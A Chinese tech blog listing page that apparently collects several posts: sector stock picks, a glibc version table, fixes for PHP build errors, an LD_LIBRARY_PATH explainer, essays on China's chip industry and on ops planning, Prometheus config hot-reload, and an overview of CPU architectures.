4、芯片(传感器):5G时代大量运算都在云端完成,智能终端成了一个输入输出的平台,传感器变得极为重要。


重点:圣邦股份(中军),韦尔股份,卓胜微,赛微电子


5、芯片(其他)


重点:兆易创新(中军),瑞芯微(龙头),大唐电信(龙头),深科技,长电科技,晶方科技,澜起科技,紫光国微


6、消费电子(智能终端):光学、射频、功能件、无线充电是智能手机未来四大创新方向。消费电子短期看智能手机疫情后的全面复苏,中期看无线耳机快速增长,长期看新能源汽车宏大空间。


重点:立讯精密(中军)(无线耳机),蓝思科技(龙头),春秋电子(龙头),漫步者(龙头)(无线耳机),歌尔股份(无线耳机),欧菲光,长盈精密,长信科技,风华高科,领益智造(无线耳机),信维通信,欣旺达,水晶光电,安洁科技,虹软科技


7、消费电子(面板):面板价格在6月份的报价已全面触底,研报预计面板价格将在三季度全面上涨。研报称台系LED大厂晶电日前要求其Mini LED上游积极备料数月,如此积极动作相当罕见,应该是Mini LED产业即将启动的前兆。


重点:京东方(中军),三安光电(中军)(Mini LED),TCL科技,智云股份,深天马,聚飞光电(Mini LED)


8、汽车(锂电池):锂电池是新能源车价值最大的零部件,要注意比亚迪的刀片电池以及磷酸铁锂技术方向的回归。


重点:宁德时代(中军),新宙邦(龙头),当升科技,璞泰来,天赐材料,恩捷股份,杉杉股份,科达利,比亚迪,亿纬锂能


9、汽车(电子):汽车四化(电动化、智能化、网联化、共享化)令汽车越来越像一个大号手机加四个轮子。很多消费电子企业有望把制造能力横向复制到汽车领域。智能座舱是汽车电子的核心。


重点:德赛西威(智能座舱),均胜电子,伯特利,中科创达


10、汽车(其他)


重点:三花智控(中军),拓普集团,德联集团,宏发股份,银轮股份,金杯汽车,春风动力,凌云股份,贵航股份(军工)


11、光伏(HIT):HIT即异质结电池。光伏当前广泛应用的P-PERC电池,转换效率的提升潜力仅23%左右,HJT等高效技术有望实现 23%以上的转换效率。


重点:迈为股份(龙头),捷佳伟创,金辰股份,山煤国际


12、光伏(玻璃):特斯拉光伏屋顶前景被广泛看好,光伏玻璃是光伏屋顶最边际受益的环节。


重点:福莱特,亚玛顿(业绩弹性最强)


13、光伏(其他)


重点:隆基股份(中军),锦浪科技(龙头),通威股份,福斯特,中环股份


14、数据中心(IDC):数字地产,越是一线城市越值钱。


重点:数据港(中军),光环新网(中军),浪潮信息(中军),奥飞数据(龙头),鹏博士,宝信软件,沙钢股份,杭钢股份,佳力图


15、信创(信息化应用创新):原来的自主可控软件分支,现在被称为信创。要注意华为鲲鹏产业链。


重点:中国软件(中军),中国长城(中军),用友网络(龙头),中科曙光,诚迈科技(鲲鹏产业链),常山北明(鲲鹏产业链),东华软件,金山办公,宝兰德,卓易信息,中孚信息


16、医疗信息化:疫情后公共卫生支出将常年大幅增加,医疗信息化提速。


重点:卫宁健康


17、游戏:大科技TMT领域估值最低的行业是传媒,游戏是其中业绩成长最佳的分支,不仅中报有望高增长,三季度还会有多个爆款游戏面世。


重点:三七互娱(中军),凯撒文化(龙头),盛天网络(龙头),富春股份,完美世界,游族网络,世纪华通,掌趣科技,吉比特,电魂网络,顺网科技, 宝通科技。



分享阅读原文: https://dwz.mn/0rqAw


收起阅读 »

常见系统glibc版本列表

操作系统 操作系统位数 Glibc版本 Centos4.0 32bit ldd (GNU libc) 2.3.4 Centos5.0 32bit ldd (GNU libc) 2.5 Centos3.1 64bit ldd (GNU libc) 2.3.2 C...
继续阅读 »























































































操作系统 操作系统位数 Glibc版本
Centos4.0 32bit ldd (GNU libc) 2.3.4
Centos5.0 32bit ldd (GNU libc) 2.5
Centos3.1 64bit ldd (GNU libc) 2.3.2
Centos3.3 64bit ldd (GNU libc) 2.3.2
Centos4.0 64bit ldd (GNU libc) 2.3.4
Centos5.0 64bit ldd (GNU libc) 2.5
Centos6.0 64bit ldd (GNU libc) 2.12
Centos6.5 64bit ldd (GNU libc) 2.12
Centos7.* 64bit ldd (GNU libc) 2.17
Redhat6.5 64bit ldd (GNU libc) 2.12
Redhat7.0 64bit ldd (GNU libc) 2.17
Redhat7.3 64bit ldd (GNU libc) 2.17
Debian6.0 32bit ldd (Debian EGLIBC 2.11.3-4) 2.11.3
Debian7.0 32bit ldd (Debian EGLIBC 2.13-38+deb7u12) 2.13
Debian7.0 64bit ldd (Debian EGLIBC 2.13-38+deb7u12) 2.13
Suse9.0 32bit ldd (GNU libc) 2.3.5
Suse9.1 64bit ldd (GNU libc) 2.3.3
Suse10.0 32bit ldd (GNU libc) 2.4
Suse10.0 64bit ldd (GNU libc) 2.3.5
Suse11.0 64bit ldd (GNU libc) 2.11.1
Suse12.0 64bit ldd (GNU libc) 2.19
OpenSuse42 64bit ldd (GNU libc) 2.19
fedora22 64bit ldd (GNU libc) 2.22
ubuntu12 64bit ldd (Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15
ubuntu14 64bit ldd (Ubuntu EGLIBC 2.19-0ubuntu6.9) 2.19
Asianux Server 3 64bit ldd (GNU libc) 2.5
Power Linux 6.5 64bit ldd (GNU libc) 2.12
Power Linux7.3 64bit ldd (GNU libc) 2.17

以后在补充一些常见系统过得Glibc版本。

收起阅读 »

PHP安装常见错误

PHP
configure: error: Please reinstall the BZip2 distribution 解决: yum install bzip2-devel  configure: error: Please reinstall the lib...
继续阅读 »
 configure: error: Please reinstall the BZip2 distribution

解决: yum install bzip2-devel
 

configure: error: Please reinstall the libcurl distribution – easy.h should be in/include/curl/

解决: yum install curl-devel
 

configure: error: DBA: Could not find necessary header file(s).

解决: yum install db4-devel
 

configure: error: jpeglib.h not found.

解决: yum install libjpeg-devel
 

configure: error: png.h not found.

解决: yum install libpng-devel
 

configure: error: freetype.h not found.

解决: yum install -y freetype freetype-devel
 

configure: error: libXpm.(a|so) not found.

解决: yum install libXpm-devel
 

configure: error: Unable to locate gmp.h

解决: yum install gmp-devel
 

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.

解决: yum install libc-client-devel
 

configure: error: Cannot find ldap.h

解决: yum install openldap-devel
 

configure: error: ODBC header file ‘/usr/include/sqlext.h’ not found!

解决:yum install unixODBC-devel
 

configure: error: Cannot find libpq-fe.h. Please specify correct PostgreSQL installation path

解决: yum install postgresql-devel
 

configure: error: Please reinstall the sqlite3 distribution

解决: yum install sqlite-devel
 

configure: error: Cannot find pspell

解决: yum install aspell-devel
 

config.log for more information.

解决: yum install net-snmp-devel
 

configure: error: xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution

解决: yum install libxslt-devel
 

configure: error: xml2-config not found. Please check your libxml2 installation.

解决: yum install libxml2-devel
 

configure: error: Could not find pcre.h in /usr

解决: yum install pcre-devel
 

configure: error: Cannot find MySQL header files under yes. Note that the MySQL client library is not bundled anymore!

解决: yum install mysql-devel


configure: error: ODBC header file ‘/usr/include/sqlext.h’ not found!

解决: yum install unixODBC-devel
 

configure: error: Cannot find libpq-fe.h. Please specify correct PostgreSQL installation path

解决:yum install postgresql-devel
 

configure: error: Cannot find pspell

解决: yum install pspell-devel
 

configure: error: Could not find net-snmp-config binary. Please check your net-snmp installation.

解决: yum install net-snmp-devel
 

configure: error: xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution

解决: yum install libxslt-devel
 

configure: error: mcrypt.h not found. Please reinstall libmcrypt.

解决: yum install -y libmcrypt-devel

收起阅读 »

linux下LD_LIBRARY_PATH介绍

LD_LIBRARY_PATH是Linux环境变量名,该环境变量主要用于指定查找共享库(动态链接库)时除了默认路径之外的其他路径。 非常多的软件没有root权限安装会比较困难,主要就是因为各种系统库文件,也就是LD_LIBRARY_PATH这个环境变量里面的文...
继续阅读 »

LD_LIBRARY_PATH是Linux环境变量名,该环境变量主要用于指定查找共享库(动态链接库)时除了默认路径之外的其他路径。


非常多的软件没有root权限安装会比较困难,主要就是因为各种系统库文件,也就是LD_LIBRARY_PATH这个环境变量里面的文件。比如前面我提到的lancet软件需要的库文件如下:


-llzma -lbz2 -lz -ldl -lpthread -lcurl -lcrypto -lbamtools

可以使用 ls /usr/lib |grep lib 查看自己是否有需要的库文件,当然还需查看其它库文件目录:echo $LD_LIBRARY_PATH 里面一般可以看到七八个已经定义好的库文件搜索路径。


当执行函数动态链接.so时,如果此文件不在缺省目录下 /lib和/usr/lib,那么就需要指定环境变量LD_LIBRARY_PATH 假如现在需要在已有的环境变量上添加新的路径名,则采用如下方式: LD_LIBRARY_PATH=NEWDIRS:$LD_LIBRARY_PATH (newdirs是新的路径串), 实例如下:


export LD_LIBRARY_PATH=/export/apps/anaconda2/2.4.1/lib/:$LD_LIBRARY_PATH

一般报错:


/usr/bin/ld: cannot find -llzma
collect2: error: ld returned 1 exit status
make[1]: *** [lancet] Error 1
make[1]: Leaving directory `/home/bobo/biosoft/lancet/lancet/src'
cp: cannot stat `lancet': No such file or directory

其实就是gcc编辑器找不到我们系统的liblzma这个库文件,就是我们的LD_LIBRARY_PATH定义的所有路径里面都没有这个liblzma这个库文件。


验证gcc编辑器能否找到指定库文件的方法是:


gcc -llzma --verbose

需要找到系统的库文件地址

事实上,我们的机器肯定是有这个库文件的,只不过是不在LD_LIBRARY_PATH定义的所有路径里面,简单查找如下:


locate liblzma 
/export/apps/anaconda2/2.4.1/lib/liblzma.a
/export/apps/anaconda2/2.4.1/lib/liblzma.la
/export/apps/anaconda2/2.4.1/lib/liblzma.so
/export/apps/anaconda2/2.4.1/lib/liblzma.so.5
/export/apps/anaconda2/2.4.1/lib/liblzma.so.5.0.5

为了解决我,我们需要添加:


export LD_LIBRARY_PATH=/export/apps/anaconda2/4.0.0/lib/:$LD_LIBRARY_PATH
export LIBRARY_PATH=/export/apps/anaconda2/4.0.0/lib/:$LIBRARY_PATH

为什么修改LD_LIBRARY_PATH呢

因为运行时动态库的搜索路径的先后顺序是:
1.编译目标代码时指定的动态库搜索路径;
2.环境变量LD_LIBRARY_PATH指定的动态库搜索路径;
3.配置文件/etc/ld.so.conf中指定的动态库搜索路径;
4.默认的动态库搜索路径/lib和/usr/lib;

这个顺序是compile gcc时写在程序内的,通常软件源代码自带的动态库不会太多,而我们的/lib和/usr/lib只有root权限才可以修改,而且配置文件/etc/ld.so.conf也是root的事情,我们只好对LD_LIBRARY_PATH进行操作啦。


永久性添加

每次我使用该软件都需要临时修改库文件,因为上面的方法是临时设置环境变量 LD_LIBRARY_PATH ,重启或打开新的 Shell 之后,一切设置将不复存在。


为了让这种方法更完美一些,可以将该 LD_LIBRARY_PATH 的 export 语句写到系统文件中,例如 /etc/profile、/etc/export、~/.bashrc 或者 ~/.bash_profile 等等,取决于你正在使用的操


虽然LD_LIBRARY_PATH很方便,但是还是推荐大家在编译的时候指定-rpath来执行相对路径来找到动态链接库文件。

收起阅读 »

未来中国的芯片产业暗藏着哪些机会?

一说芯片,大家就会想到CPU。提到CPU,我们知道得最多的是两种,一种是英特尔、AMD使用的x86架构,一种是ARM架构。其实,除了这两个之外,还有那些做得不是很成功的CPU架构,我相信你绝大部分没听说过。它们有MIPS架构、Sparc架构、Power架构和A...
继续阅读 »

一说芯片,大家就会想到CPU。提到CPU,我们知道得最多的是两种,一种是英特尔、AMD使用的x86架构,一种是ARM架构。其实,除了这两个之外,还有那些做得不是很成功的CPU架构,我相信你绝大部分没听说过。它们有MIPS架构、Sparc架构、Power架构和Alpha架构,还有最新出现在人们视线的RISC-V。


除了最知名的x86和ARM这两种架构,其它的架构路线可以说非常坎坷。


MIPS架构最早是由80年代初斯坦福大学研究出来的,是最早商业应用的芯片之一,但规模远不如x86和ARM。


Sparc架构是由Sun公司设计的,在微机时代 ,Sun是在硅谷唯一可以和IBM比肩的巨头,但在2010年被甲骨文收购,Sparc架构也渐渐淡出人们视线。


Power架构最早是IBM开发的,但IBM的战略是自己做系统集成,面对Intel的x86架构联合Windows联盟的竞争,IBM最后败下阵来,就没有投入更多精力继续做开发了。


Alpha架构是DEC公司开发的,后来DEC被惠普公司收购,而惠普公司产品线都集中在x86技术路线上,Alpha架构卖给了中国无锡的江南计算所,我们后面还会提到。

还有最新的RISC-V架构,据说很多国内公司包括小米、华为、阿里都砸了重金投入,但目前还没有构建出一个完整的生态出来。

接下来我们展开讲讲,采用这些不同架构技术路线的公司,哪些芯片公司做起来了,哪些公司未来有可能会失败。


一、中国的第一阶段


Mips架构



MIPS架构处理器最早是由80年代初斯坦福大学研究出来的,国内使用MIPS架构处理器的代表是龙芯中科。龙芯中科的背景来自中国科学院计算所,最早用MIPS架构搭配Linux系统,打造国产PC。龙芯中科的董事长胡伟武是中国科学院计算技术研究所研究员、总工程师,在国内的CPU研发领域是相对做得还算不错的。

另一家采用MIPS架构的是北京君正,研发的领域主要是物联网设备,不需要很强的CPU性能,而是强调价格便宜、功耗低。物联网这个领域正在兴起,参与企业非常多,所以也容易在这个市场里分到一块蛋糕。


Power架构
刚才提到的IBM研发的Power架构,2016年一家国内企业中昊宏芯从IBM买到了POWER架构的永久授权,但是研发过程并不顺利,至今都没有看到太多的应用。

Alpha架构
无锡江南计算所买下了Alpha架构所有设计资料,开发了国产Alpha处理器,此前多次夺得超算排名第一的“神威·太湖之光”,就是用的这种处理器。


其实相比移动计算,超算并不需要太先进的芯片。原因很简单,移动计算的散热、能耗要求非常苛刻,而服务器的空间很大,对体积没有太大的要求,对散热、能耗更没有太大的限制,能耗大点没关系,散热可以有单独的采用液冷技术的机柜设备。简单说就是砸巨资投入,把大量的芯片和相关设备堆砌起来,从而实现强大的算力。


另外,申威处理器也是目前唯一的Alpha架构处理器产品了,并不具备大规模应用的前景,我们普通人更是基本接触不到了。



x86架构
然后说到x86架构了。中国企业发展x86,比较难的是授权,因为x86架构一直在Intel和AMD手里。除了Intel和AMD以外,第三家拥有X86授权的公司,是台湾威盛,上海兆芯用2.57亿美元从威盛那儿买到了x86授权。上海兆芯是上海市政府控股的基金,为了生产中国的芯片,于是和台湾威盛合资,上海政府控股80%,就是冲着芯片去的。


但是这个x86授权是很残缺的,是威盛与Intel的官司之争中拿到的,授权期限在2018年4月就过期了,以后研发新的架构只能靠兆芯自己了,所以兆芯的位置很尴尬。


另外,虽然上海兆芯也推出了产品在市场上销售了,但因为没有大规模销售,没法分摊研发成本,性价比还是非常低的。


另一家拿到x86架构的是天津海光,是从AMD那儿拿到的授权,而不是Intel。为了绕开Intel,玩了一个什么游戏呢?AMD和海光先成立合资公司A,AMD是大股东,左手授权给右手。随后AMD和海光成立合资公司B,这家公司海光是大股东,然后合资公司B从合资公司A那儿拿到了授权,这样就绕开了Intel。


不过这样的做法海光处理器是十分受限的,被规定只能在中国境内销售。海光是很被动的,产品能否长期生产销售主要取决于AMD,如果AMD不同意,那海光处理器就不能继续生产了。所以这样的合作只能防住Intel,但是防不住美国封锁。


二、中国的第二阶段

上面提到的芯片架构,中国的国产化都做得不算成功,但是到ARM架构上我们能看到一些曙光了。华为海思、飞腾、展讯都是做ARM相对比较不错的。华为海思的处理器主要应用于移动端产品,手机和智能家居产品都有应用。天津飞腾最早用Sparc处理器,也就是刚才提到的Sun公司开发的,但是Sun被甲骨文收购以后,飞腾就转向ARM架构了,主要面向国家安全市场,为军队、政府服务。


这里特地要表扬的是展讯,这是一家不错的国内的采用ARM架构的公司。展讯的手机芯片主要用于低端手机,只支持GSM和GPRS两种网络制式,市场主要面向非洲、东南亚等低收入海外市场。同时展讯也有基带芯片,目前有5G基带芯片的厂商只有五家:华为、联发科、高通、三星,最后一家就是展讯。这也是中国企业未来可能去实践的一条芯片破局之路,那就是和行业深度结合。通讯就是一个很重要的行业,展讯也是从通讯行业做起来的。

三、中国的第三阶段

芯片的发展速度在加快,真正的机会在于第三阶段,那就是人工智能和云的时代。寒武纪在科研方面非常领先,陈云霁2014年就设计出了用汉语拼音命名的DianNao人工智能芯片设计架构,被认为是世界第一,要比谷歌的TPU都要早了两年。而且之前一直和他有紧密合作的法国的Olivier Temam教授14年被挖到了谷歌,谷歌研究TPU的论文里也多次引用陈云霁的论文,应该说TPU的设计里借鉴了陈云霁的思想。


但是寒武纪之所以也比较难,那是因为我们的生态还没有搭建起来。我们看见哪一个是好的芯片企业,我就拿大钱给他,结果芯片企业的心态就是:我不能合作,如果我扶植一帮合作伙伴起来,这个补贴的钱就分流了,而我越说自己什么都干就越拿更多的钱。最终就导致了“竖井式结构”:比如华为抛弃了寒武纪,从芯片设计到生产、应用全都自己做,阿里巴巴本来是需求方,做云计算需要大量芯片,结果也是从研发到生产大包大揽。这跟全世界的发展趋势是背道而驰的。


四、总结

前面我们讲了那么多芯片,你会发现,有不少今天不那么普及的芯片架构,都是一些边边角角的不重要的技术领域。一家芯片企业如果没有选中未来的主流技术,很有可能会被淘汰掉,因为你的做法不是未来有最大机会的方向,这家企业再怎么优秀都没有用。


芯片的发展是两条路线,一条是通用芯片,覆盖所有人。这条路要跟上时代,现在的机会就是人工智能+云计算,这方面的赢家是NVIDIA。中国曾经本来有机会,但是很可惜没有把握住。但是另一条路是我们未来可以把握住的,那就是与行业深度结合的专用芯片。


所谓专用芯片,就是在行业里深挖,借助自己的行业优势来培养自己的芯片优势。像欧洲依托行业配置出了英飞凌、意法半导体、恩智浦这样的芯片公司,在汽车电子、工业制造、传感器有着很深的应用。而中国未来的行业机会,我认为有三个:无线通讯、无人驾驶和物联网


在无线通讯领域,已经有比较优秀的公司,就是刚才介绍的做5G基带芯片的展讯。


在无人驾驶领域,因为未来电动车都会上自动驾驶,以后越来越多会出现封闭路面的自动驾驶、货运车、还有小型的送货车,自动驾驶的芯片的需求越来越大。这方面我觉得有机会的是地平线。我开玩笑说,高端是负责管吆喝的,低端是负责赚钱的,地平线的芯片虽然没那么高端,但是性价比更高,接地气的战略可能会有更大的优势。


最后,物联网领域给我们留下了一个悬念。这个领域的差异化很大,比如未来这个领域需要很多相对低端的芯片,性能参差不齐,也需要所谓叫模拟转数字的芯片,大量的模拟芯片会有应用空间。这个领域还有一定的不确定性,中国有可能会有胜出的机会。


对于中国芯片企业的发展,我的建议是要在正确的方向上两条腿走路:首先是持续的研发投入,然后是不断巩固生态


芯片战争不是一个瞬间能决定胜负的东西,像Intel和AMD打了这么多年,因为科技领域的用户没有品牌忠诚度,比的是性能好坏而不是品牌,如果Intel过去三十年不努力做研发,“Intel Inside”的标志就没有那么大的作用。所以持续研发投入是个必要条件。


另一方面来讲,凭什么能在研发上有持续投入?因为你在市场上能够持续获得高额回报,而巩固市场的核心是要巩固生态,你要能够和一堆的合作伙伴一起去开发更多的应用,这个市场才能繁荣起来。这是中国的短板,也是未来四十年中国必须要面对和解决的问题。


分享阅读原文:http://m6z.cn/6d7clf

收起阅读 »

Prometheus配置文件热加载

Promtheus的TSDB时序数据库在存储了大量的数据后,每次重启Prometheus进程的时间会越来越慢, 而且日常运维工作中会经常调整Prometheus的配置文件信息,比如一些静态配置,实际上Prometheus提供了在运行时热加载配置信息的功能,在这...
继续阅读 »

Promtheus的TSDB时序数据库在存储了大量的数据后,每次重启Prometheus进程的时间会越来越慢, 而且日常运维工作中会经常调整Prometheus的配置文件信息,比如一些静态配置,实际上Prometheus提供了在运行时热加载配置信息的功能,在这里介绍一下。


Prometheus配置热加载提供了2种方法:


  1. kill -HUP pid 发送SIGHUP信号方法
  2. 通过Prometheus服务API接口,发送发送一个POST请求到/-/reload

Tips: 从 Prometheus2.0 开始,热加载功能是默认关闭的,如需开启,需要在启动 Prometheus 的时候,添加 --web.enable-lifecycle 参数。



我个人更倾向于采用curl -XPOST http://localhost:9090/-/reload 的方式,因为每次reload过后, pid会改变,使用kill方式需要找到当前进程号。


如果配置热加载成功,Prometheus会打印出下面的log:


... msg="Loading configuration file" filename=prometheus.yml ...

下面我们来看看这两种方式内部实现原理。


第一种方法: 通过 kill 命令的 HUP (hang up) 参数实现
首先Prometheus在 cmd/promethteus/main.go 中实现了对进程系统调用监听,如果收到syscall.SIGHUP信号,将执行reloadConfig函数。


代码类似如下:


{
// Reload handler.

// Make sure that sighup handler is registered with a redirect to the channel before the potentially
// long and synchronous tsdb init.
hup := make(chan os.Signal, 1)
signal.Notify(hup, syscall.SIGHUP)
cancel := make(chan struct{})
g.Add(
func() error {
<-reloadReady.C

for {
select {
case <-hup:
if err := reloadConfig(cfg.configFile, logger, noStepSubqueryInterval, reloaders...); err != nil {
level.Error(logger).Log("msg", "Error reloading config", "err", err)
}
case rc := <-webHandler.Reload():
if err := reloadConfig(cfg.configFile, logger, noStepSubqueryInterval, reloaders...); err != nil {
level.Error(logger).Log("msg", "Error reloading config", "err", err)
rc <- err
} else {
rc <- nil
}
case <-cancel:
return nil
}
}

},
func(err error) {
// Wait for any in-progress reloads to complete to avoid
// reloading things after they have been shutdown.
cancel <- struct{}{}
},
)
}

第二种:通过 web 模块的 /-/reload请求实现:


首先 Prometheus 在 web(web/web.go) 模块中注册了一个 POST 的 http 请求 /-/reload, 它的 handler 是 web.reload 函数,该函数主要向 web.reloadCh chan 里面发送一个 error。


其次在Prometheus 的cmd/promethteus/main.go中有个单独的 goroutine 来监听web.reloadCh,当接受到新值的时候会执行 reloadConfig 函数。


func() error {
<-reloadReady.C

for {
select {
case <-hup:
if err := reloadConfig(cfg.configFile, logger, noStepSubqueryInterval, reloaders...); err != nil {
level.Error(logger).Log("msg", "Error reloading config", "err", err)
}
case rc := <-webHandler.Reload():
if err := reloadConfig(cfg.configFile, logger, noStepSubqueryInterval, reloaders...); err != nil {
level.Error(logger).Log("msg", "Error reloading config", "err", err)
rc <- err
} else {
rc <- nil
}
case <-cancel:
return nil
}
}

},

Prometheus内部提供了成熟的hot reload方案,这大大方便配置文件的修改和重新加载,在Prometheus生态中,很多Exporter也采用类似约定的实现方式。

收起阅读 »

企业不同时期的运维规划

企业创业期企业创业初期,人员少,业务流量不大,服务器数量相对较少,系统复杂度不高。对于日常的业务管理操作,因人员少,吼一声,大家就登录服务器进行手工操作,属于各自为战,每个人都有自己的操作方式,权限管理混乱、编写代码的风格各异,缺少必要的操作标准、流程机制,比...
继续阅读 »

企业创业期

企业创业初期,人员少,业务流量不大,服务器数量相对较少,系统复杂度不高。对于日常的业务管理操作,因人员少,吼一声,大家就登录服务器进行手工操作,属于各自为战,每个人都有自己的操作方式,权限管理混乱、编写代码的风格各异,缺少必要的操作标准、流程机制,比如业务目录环境都是各式各样的。在这个阶段建议建立如下规范:


  • 统一权限管理:应用程序、操作员、管理员权限分离。
  • 制定完善的操作流程:先开发环境验证、测试环境验证、预生产环境、生产环境的基础操作流程,最小操作权限、最小化的目录权限为准则。
  • 制定代码发布流程和机制:以开发环境、测试环境发布为先,在预生产环境、生产环境发布制定相应的审核。
  • 制定代码编写规范:制定排版、注释、标识命名、异常处理等相关规范,避免出现个性化的代码。
  • 使用云商自有监控做基础监控,主要是cpu、内存、网络等。
  • 强化系统、业务基线安全。


企业高速发展期

在企业发展期,拿到融资后,业务快速发展,随着服务器规模、系统复杂度的增加,全人工的操作方式已经不能满足业务的快速发展需要。因此,运维人员逐渐开始使用批量化的操作工具,针对不同操作类型出现了不同的脚本程序。


但各团队都有自己的工具,每次操作需求发生变化时都需要调整工具。这主要是因为对于环境、操作的规范不够,导致可程序化处理能力较弱。此时,虽然效率提升了一部分,但很快又遇到了瓶颈。在这个阶段建议建立如下规范:


  • 制定运维相关脚本的编写标准:如统一相关备份空间、相关备份执行计划,制定相关脚本的执行人员、执行权限、执行时间。
  • 统一同类工具的使用:如数据连接工具、备份工具、数据同步工具等。
  • 确认相关的操作人,减少或者避免开发和测试在服务器上的相关操作。
  • 部署监控平台进一步的监管数据库、进程、日志等。
  • 使用第三方应用性能管理对应用性能做应用分析和优化。


企业稳定发展时期

在企业稳定期,在这个阶段,对于运维效率和误操作率有了更高的要求,我们决定开始建设运维平台,通过平台承载标准、流程,进而解放人力和提高质量。
这个时候对服务的变更动作进行了抽象,形成了操作方法、服务目录环境、服务运行方式等统一的标准。通过平台来约束操作流程。

在平台中强制需要运维人员填写相应的检查项,然后才可以继续执行后续的部署动作。在这个阶段建议建立如下运维平台:


  • 统一运维操作和管理平台:操作管理、权限管理、资源。
  • 统一日志平台:统一日志收集标准、日志收集接口,查询方式,查询授权。
  • 统一监控平台:强化监控,从系统、数据库、缓存、中间件、接口、业务性能等。
  • 统一发布平台:细化发布项目、发布权限、发布审核、回滚、备份等。
  • 加强安全防护:上线前做安全加固、安全评估、渗透测试等。
  • 统一开发规范:统一接口、数据库、配置文件等规范。


企业集团化、规模化发展时期

更大规模的服务数量、更复杂的服务关联关系、各个运维平台的林立,原有的将批量操作转化成平台操作的方式已经不再适合,需要对服务变更进行更高一层的抽象。比如智能告警、故障自愈、运营辅助决策等。


这个阶段需要大量的运维数据支持,做相应的数据分析、测试,才能使用,不然因误报或错误的故障自愈决策造成大规模的故障。


分享阅读原文: http://m6z.cn/6sGPLO

收起阅读 »

四大CPU体系架构介绍

RISC(reduced instruction set computer,精简指令集计算机) 是一种执行较少类型计算机指令的微处理器,起源于80年代的MIPS主机(即RISC机),RISC机中采用的微处理器统称RISC处理器。这样一来,它能够以更快的速度执行...
继续阅读 »

RISC(reduced instruction set computer,精简指令集计算机) 是一种执行较少类型计算机指令的微处理器,起源于80年代的MIPS主机(即RISC机),RISC机中采用的微处理器统称RISC处理器。这样一来,它能够以更快的速度执行操作(每秒执行更多百万条指令,即MIPS)。因为计算机执行每个指令类型都需要额外的晶体管和电路元件,计算机指令集越大就会使微处理器更复杂,执行操作也会更慢。 


性能特点一:由于指令集简化后,流水线以及常用指令均可用硬件执行;


性能特点二:采用大量的寄存器,使大部分指令操作都在寄存器之间进行,提高了处理速度;


性能特点三:采用缓存—主机—外存三级存储结构,使取数与存数指令分开执行,使处理器可以完成尽可能多的工作,且不因从存储器存取信息而放慢处理速度。


RISC平台的发展已经有长达几十年的历史了。其最早诞生于80年代的MIPS主机,随着技术的不断发展,RISC平台的应用领域逐步扩展,小到手机, 大到工控设备都可以见到他的身影。随着RISC平台的发展还诞生了与之相适应的应用软件,最终组成了现在人们较为熟知的嵌入式系统。当前桌面级消费者最为 熟知的Atom凌动平台便是嵌入式代表之一。但是与今天我们所要谈到的两位主角相比,intel的凌动平台就是小巫见大巫了。这正是诞生了RISC平台的 MIPS和当前RISC领域中最为强大的ARM。


MIPS是世界上很流行的一种RISC处理器。MIPS的意思”无内部互锁流水级的微处理器”(Microprocessor without interlocked piped stages),其机制是尽量利用软件办法避免流水线中的数据相关问题。它最早是在80年代初期由斯坦福(Stanford)大学Hennessy教授领导的研究小组研制出来的。MIPS公司的R系列就是在此基础上开发的RISC工业产品的微处理器。这些系列产品为很多计算机公司采用构成各种工作站和计算机系统。MIPS技术公司是美国著名的芯片设计公司,它采用精简指令系统计算结构(RISC)来设计芯片。和英特尔采用的复杂指令系统计算结构(CISC)相比,RISC具有设计更简单、设计周期更短等优点,并可以应用更多先进的技术,开发更快的下一代处理器。MIPS是出现最早的商业RISC架构芯片之一,新的架构集成了所有原来MIPS指令集,并增加了许多更强大的功能。


MIPS处理器是八十年代中期RISC CPU设计的一大热点。MIPS是卖的最好的RISC CPU,可以从任何地方,如Sony,Nintendo的游戏机,Cisco的路由器和SGI超级计算机,看见MIPS产品在销售。目前随着RISC体系结构遭到x86芯片的竞争,MIPS有可能是起初RISC CPU设计中唯一的一个在本世纪盈利的。和英特尔相比,MIPS的授权费用比较低,也就为除英特尔外的大多数芯片厂商所采用。MIPS的系统结构及设计理念比较先进,其指令系统经过通用处理器指令体系MIPS I、MIPS II、MIPS III、MIPS IV到MIPS V,嵌入式指令体系MIPS16、MIPS32到MIPS64的发展已经十分成熟。在设计理念上MIPS强调软硬件协同提高性能,同时简化硬件设计。


中国龙芯2和前代产品采用的都是64位MIPS指令架构,它与大家平常所知道的X86指令架构互不兼容,MIPS指令架构由MIPS公司所创,属于RISC体系。过去,MIPS架构的产品多见于工作站领域,索尼PS2游戏机所用的”Emotion Engine”也采用MIPS指令,这些MIPS处理器的性能都非常强劲,而龙芯2也属于这个阵营,在软件方面与上述产品完全兼容。普通用户关注MIPS主要还是因为我国所谓的”龙芯”。龙芯一开始抄袭MIPS,后来购买到了授权。倒也并非龙芯不想发展X86架构的桌面CPU市场或者ARM架构的移动设备市场,是因为这两家的授权太过于苛刻。X86的授权Intel已然不可能再授权。ARM是一家芯片设计公司,只能给出使用授权,不会同意让龙芯自行设计。只有MIPS才可行,MIPS的授权说白了就是随便抄随便改。很多龙芯的支持者提出了MIPS在理论上有诸多的领先,但不要忘了ARM是一家商业公司,市场占有率高,竞争意识也非常强。几乎所有的智能手机都是ARM架构,就是最有力的证明。


从某些方面来看,MIPS和ARM非常相似,都是采用精简指令集,都是针对低功耗应用设计,而且都是采用第三方授权方式生产;但实际上两者也有几大的不同,学院派的MIPS允许第三方对CPU架构进行大幅修改,而ARM只允许全球极少的几家半导体公司修改CPU架构(包括高通、苹果、NVIDIA和三星,全是半导体大拿),其他生产ARM芯片的公司都是直接采用ARM公版设计,而不能做任何修改(例如华为海思)。ARM的这项策略显然很适合商业推广,对第三方公司的技术要求也有所降低,开发的周期也会大大缩短,只需要照着ARM公版的CPU和GPU架构找芯片代工厂下单、流片、生产即可。


其中ARM/MIPS/PowerPC均是基于精简指令集机器处理器的架构;X86则是基于复杂指令集的架构,Atom是x86或者是x86指令集的精简版。


根据各种新闻,Android在支持各种处理器的现状:


ARM+Android最早发展、完善的支持,主要在手机市场、上网本、智能等市场;
X86+Android有比较完善的发展。有atom+Android的上网本,且支持Atom+Android和 Atom+Window7双系统;
MIPS+Android目前在移植、完善过程中;
Powpc+Android目前在移植、完善过程中。

